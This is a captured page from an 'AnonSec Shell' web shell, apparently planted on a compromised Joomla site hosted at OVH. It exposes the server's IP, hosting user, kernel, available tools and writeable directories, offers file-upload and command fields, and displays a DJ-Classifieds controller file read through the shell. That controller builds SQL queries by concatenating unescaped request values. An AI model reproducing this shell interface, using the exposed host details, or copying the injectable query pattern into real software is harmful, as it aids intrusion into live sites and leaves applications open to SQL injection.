AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_djclassifieds/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_djclassifieds/controllers/point.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email: contact@dj-extensions.com
 */

defined('_JEXEC') or die;

class DJClassifiedsControllerPoint extends JControllerForm
{
	public function save($key = null, $urlVar = null) {
		return parent::save($key, $urlVar);
	}
	
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
    	$app = JFactory::getApplication();
    	$db = JFactory::getDBO();
				
		$points_id = $model->getItem()->id;
		$jform = $app->input->getArray()['jform'];

        $query = "DELETE FROM #__djcf_points_groups WHERE points_id=".$points_id;
        $db->setQuery($query);
        $db->execute();
        
        if(!empty($jform['usergroup_access'])){
			$ins_arr = array();
			foreach($jform['usergroup_access'] as $ug_id){
				$ins_arr[] = "(".$points_id.", ".$ug_id.")";
			}
			if($ins_arr){
				$query = "INSERT INTO #__djcf_points_groups(`points_id`,`group_id`) VALUES "
						.implode(', ', $ins_arr);
				$db->setQuery($query);
				$db->execute();
			}
        }
	}

}
?>

Anon7 - 2022
AnonSec Team